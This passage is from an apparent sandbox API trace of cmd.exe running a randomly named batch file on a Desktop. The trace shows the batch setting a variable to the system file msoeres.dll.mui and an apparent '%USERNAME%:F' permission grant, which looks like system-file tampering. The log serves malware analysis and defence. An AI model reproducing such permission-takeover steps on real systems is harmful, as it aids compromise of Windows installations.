ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 0x4176e8 [0132.550] FindClose (in: hFindFile=0x4176e8 | out: hFindFile=0x4176e8) returned 1 [0132.550] GetProcessHeap () returned 0x400000 [0132.550] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x28) returned 0x4176e8 [0132.550] GetProcessHeap () returned 0x400000 [0132.550] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x424aa8 | out: hHeap=0x400000) returned 1 [0132.550] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x58) returned 0x401140 [0132.550] GetProcessHeap () returned 0x400000 [0132.550] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x10) returned 0x400d38 [0132.550] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x34) returned 0x4011a0 [0132.551] _tell (_FileHandle=3) returned 63 [0132.551] _close (_FileHandle=3) returned 0 [0132.552] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x37f4dc | out: _Buffer="\r\n") returned 2 [0132.552] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.552] GetFileType (hFile=0x7) returned 0x2 [0132.552] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.552] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f49c | out: lpMode=0x37f49c) returned 1 [0132.552] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.552] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x37f4c8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f4c8*=0x2) returned 1 [0132.554] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0132.554] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0132.554] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x37f4d8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0132.554] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x37f4d8 | out: _Buffer=">") returned 1 [0132.554] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.554] GetFileType (hFile=0x7) returned 0x2 [0132.554] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.554] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f4a0 | out: lpMode=0x37f4a0) returned 1 [0132.555] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.555] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x37f4cc, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x37f4cc*=0x26) returned 1 [0132.555] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.555] GetFileType (hFile=0x7) returned 0x2 [0132.555] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.555] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f724 | out: lpMode=0x37f724) returned 1 [0132.556] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.556] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x400d40*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x37f750, lpReserved=0x0 | out: lpBuffer=0x400d40*, lpNumberOfCharsWritten=0x37f750*=0x3) returned 1 [0132.556] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x37f75c | out: _Buffer=" FN=\"msoeres.dll.mui\" ") returned 22 [0132.556] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.556] GetFileType (hFile=0x7) returned 0x2 [0132.556] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.556] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f71c | out: lpMode=0x37f71c) returned 1 [0132.557] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.557] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x16, lpNumberOfCharsWritten=0x37f748, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f748*=0x16) returned 1 [0132.557] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x37f77c | out: _Buffer="\r\n") returned 2 [0132.557] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.557] GetFileType (hFile=0x7) returned 0x2 [0132.557] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.557] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f73c | out: lpMode=0x37f73c) returned 1 [0132.558] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.558] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x37f768, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f768*=0x2) returned 1 [0132.559] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0132.559] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0132.559] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0132.559] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0132.559] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0132.559] _wcsicmp (_String1="set", _String2="CD") returned 16 [0132.559] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0132.559] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0132.559] _wcsicmp (_String1="set", _String2="REN") returned 1 [0132.559] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0132.559] _wcsicmp (_String1="set", _String2="SET") returned 0 [0132.559] GetConsoleTitleW (in: lpConsoleTitle=0x37f2ec, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0132.560] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x60) returned 0x4011e0 [0132.560] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x4011e0, Size=0x34) returned 0x4011e0 [0132.560] GetProcessHeap () returned 0x400000 [0132.560] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4011e0) returned 0x34 [0132.560] wcsncmp (_String1="FN", _String2="/", _MaxCount=0x4) returned 23 [0132.560] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x3c) returned 0x401220 [0132.560] _wcsnicmp (_String1="FN", _String2="/A", _MaxCount=0x2) returned 55 [0132.560] _wcsnicmp (_String1="FN", _String2="/P", _MaxCount=0x2) returned 55 [0132.560] SetEnvironmentVariableW (lpName="FN", lpValue="\"msoeres.dll.mui\"") returned 1 [0132.560] GetProcessHeap () returned 0x400000 [0132.560] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x418a98 | out: hHeap=0x400000) returned 1 [0132.560] GetEnvironmentStringsW () returned 0x417f30* [0132.560] GetProcessHeap () returned 0x400000 [0132.560] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xb86) returned 0x41a190 [0132.561] FreeEnvironmentStringsW (penv=0x417f30) returned 1 [0132.561] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.561] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0132.561] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.561] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0132.561] _get_osfhandle (_FileHandle=0) returned 0x3 [0132.561] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0132.561] SetConsoleInputExeNameW () returned 0x1 [0132.561] GetConsoleOutputCP () returned 0x1b5 [0132.562] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0132.562] SetThreadUILanguage (LangId=0x0) returned 0x409 [0132.562] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x37f724, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0132.562] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0132.562] _get_osfhandle (_FileHandle=3) returned 0x78 [0132.562] SetFilePointer (in: hFile=0x78, lDistanceToMove=63, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0132.562] GetProcessHeap () returned 0x400000 [0132.562] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x401220 | out: hHeap=0x400000) returned 1 [0132.562] GetProcessHeap () returned 0x400000 [0132.562] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4011e0 | out: hHeap=0x400000) returned 1 [0132.562] GetProcessHeap () returned 0x400000 [0132.562] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4011a0 | out: hHeap=0x400000) returned 1 [0132.562] GetProcessHeap () returned 0x400000 [0132.562] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x400d38 | out: hHeap=0x400000) returned 1 [0132.562] GetProcessHeap () returned 0x400000 [0132.563] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x401140 | out: hHeap=0x400000) returned 1 [0132.563] GetProcessHeap () returned 0x400000 [0132.563] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4176e8 | out: hHeap=0x400000) returned 1 [0132.563] GetProcessHeap () returned 0x400000 [0132.563] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4110e0 | out: hHeap=0x400000) returned 1 [0132.563] _get_osfhandle (_FileHandle=3) returned 0x78 [0132.563] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3f [0132.563] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x37f708, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x37f708*=0xa3, lpOverlapped=0x0) returned 1 [0132.563] SetFilePointer (in: hFile=0x78, lDistanceToMove=78, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0132.563] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cd /d \"%~dp0\"\r\n\nUSERNAME%:F /C\r\n") returned 15 [0132.563] _get_osfhandle (_FileHandle=3) returned 0x78 [0132.563] GetFileType (hFile=0x78) returned 0x1 [0132.563] _get_osfhandle (_FileHandle=3) returned 0x78 [0132.563] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4e [0132.563] GetProcessHeap () returned 0x400000 [0132.563] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x400a) returned 0x424aa8 [0132.564] GetProcessHeap () returned 0x400000 [0132.564] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x70) returned 0x401140 [0132.564] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x208, lpBuffer=0x37ee98, lpFilePart=0x37ee90 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x37ee90*="Bt3xnwko.bat") returned 0x32 [0132.564] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x37ebac | out: lpFindFileData=0x37ebac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x4011b8 [0132.564] FindClose (in: hFindFile=0x4011b8 | out: hFindFile=0x4011b8) returned 1 [0132.564] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x37ebac | out: lpFindFileData=0x37ebac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x4011b8 [0132.564] FindClose (in: hFindFile=0x4011b8 | out: hFindFile=0x4011b8) returned 1 [0132.564] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0132.564] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x37ebac | out: lpFindFileData=0x37ebac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x4011b8 [0132.564] FindClose (in: hFindFile=0x4011b8 | out: hFindFile=0x4011b8) returned 1 [0132.564] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFindFileData=0x37ebac | out: lpFindFileData=0x37ebac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe3eef60, ftCreationTime.dwHighDateTime=0x1d5d06a, ftLastAccessTime.dwLowDateTime=0xbe3eef60, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xbe3eef60, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bt3xnwko.bat", cAlternateFileName="")) returned 0x4011b8 [0132.564] FindClose (in: hFindFile=0x4011b8 | out: hFindFile=0x4011b8) returned 1 [0132.565] GetProcessHeap () returned 0x400000 [0132.565] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x56) returned 0x4011b8 [0132.565] GetProcessHeap () returned 0x400000 [0132.565] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x424aa8 | out: hHeap=0x400000) returned 1 [0132.565] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x58) returned 0x401218 [0132.565] GetProcessHeap () returned 0x400000 [0132.565] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xe) returned 0x400d38 [0132.565] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x62) returned 0x4160f0 [0132.566] _tell (_FileHandle=3) returned 78 [0132.566] _close (_FileHandle=3) returned 0 [0132.566] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x37f4dc | out: _Buffer="\r\n") returned 2 [0132.566] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.567] GetFileType (hFile=0x7) returned 0x2 [0132.567] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.567] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f49c | out: lpMode=0x37f49c) returned 1 [0132.567] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.567] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x37f4c8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f4c8*=0x2) returned 1 [0132.568] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0132.568] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0132.569] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x37f4d8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0132.569] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x37f4d8 | out: _Buffer=">") returned 1 [0132.569] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.569] GetFileType (hFile=0x7) returned 0x2 [0132.569] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.569] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f4a0 | out: lpMode=0x37f4a0) returned 1 [0132.570] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.570] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x37f4cc, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x37f4cc*=0x26) returned 1 [0132.570] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.570] GetFileType (hFile=0x7) returned 0x2 [0132.570] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.570] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f724 | out: lpMode=0x37f724) returned 1 [0132.571] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.571] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x400d40*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x37f750, lpReserved=0x0 | out: lpBuffer=0x400d40*, lpNumberOfCharsWritten=0x37f750*=0x2) returned 1 [0132.571] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x37f75c | out: _Buffer=" /d \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\\" ") returned 45 [0132.571] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.571] GetFileType (hFile=0x7) returned 0x2 [0132.571] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.571] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f71c | out: lpMode=0x37f71c) returned 1 [0132.571] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.571] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2d, lpNumberOfCharsWritten=0x37f748, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f748*=0x2d) returned 1 [0132.573] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x37f77c | out: _Buffer="\r\n") returned 2 [0132.573] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.573] GetFileType (hFile=0x7) returned 0x2 [0132.573] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0132.573] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x37f73c | out: lpMode=0x37f73c) returned 1 [0132.573] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.573] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x37f768, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x37f768*=0x2) returned 1 [0132.575] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0132.575] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0132.575] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0132.575] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0132.575] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0132.575] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0132.575] GetConsoleTitleW (in: lpConsoleTitle=0x37f2ec, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0132.575] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xbc) returned 0x416160 [0132.575] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x416160, Size=0x64) returned 0x416160 [0132.575] GetProcessHeap () returned 0x400000 [0132.575] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x416160) returned 0x64 [0132.576] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0132.576] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0132.576] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x37f0a8, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x37f0a0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x37f0a0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0132.576] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x68) returned 0x4161d0 [0132.576] GetProcessHeap () returned 0x400000 [0132.576] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xbc) returned 0x416240 [0132.577] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x416240, Size=0x62) returned 0x416240 [0132.577] GetProcessHeap () returned 0x400000 [0132.577] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x416240) returned 0x62 [0132.577] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x56) returned 0x4162b0 [0132.577] GetProcessHeap () returned 0x400000 [0132.577] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0x56) returned 0x416310 [0132.577] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x37ee44 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0132.577] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x104, lpBuffer=0x37ee44, lpFilePart=0x37ee40 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x37ee40*=0x0) returned 0x26 [0132.577] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0132.577] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x37ebc0 | out: lpFindFileData=0x37ebc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x416370 [0132.577] FindClose (in: hFindFile=0x416370 | out: hFindFile=0x416370) returned 1 [0132.578] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x37ebc0 | out: lpFindFileData=0x37ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x416370 [0132.578] FindClose (in: hFindFile=0x416370 | out: hFindFile=0x416370) returned 1 [0132.578] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0132.578] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x37ebc0 | out: lpFindFileData=0x37ebc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x416370 [0132.578] FindClose (in: hFindFile=0x416370 | out: hFindFile=0x416370) returned 1 [0132.578] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0132.578] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0132.578] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0132.578] GetProcessHeap () returned 0x400000 [0132.578] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41a190 | out: hHeap=0x400000) returned 1 [0132.578] GetEnvironmentStringsW () returned 0x416b80* [0132.578] GetProcessHeap () returned 0x400000 [0132.578] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x8, Size=0xb86) returned 0x417f30 [0132.578] FreeEnvironmentStringsW (penv=0x416b80) returned 1 [0132.578] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0132.578] GetProcessHeap () returned 0x400000 [0132.578] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x416310 | out: hHeap=0x400000) returned 1 [0132.578] GetProcessHeap () returned 0x400000 [0132.578] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4162b0 | out: hHeap=0x400000) returned 1 [0132.578] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.578] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0132.579] _get_osfhandle (_FileHandle=1) returned 0x7 [0132.579] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0132.579] _get_osfhandle (_FileHandle=0) returned 0x3 [0132.579] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0132.579] SetConsoleInputExeNameW () returned 0x1 [0132.579] GetConsoleOutputCP () returned 0x1b5 [0132.579] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0132.579] SetThreadUILanguage (LangId=0x0) returned 0x409 [0132.580] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x37f724, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0132.580] _open_osfhandle 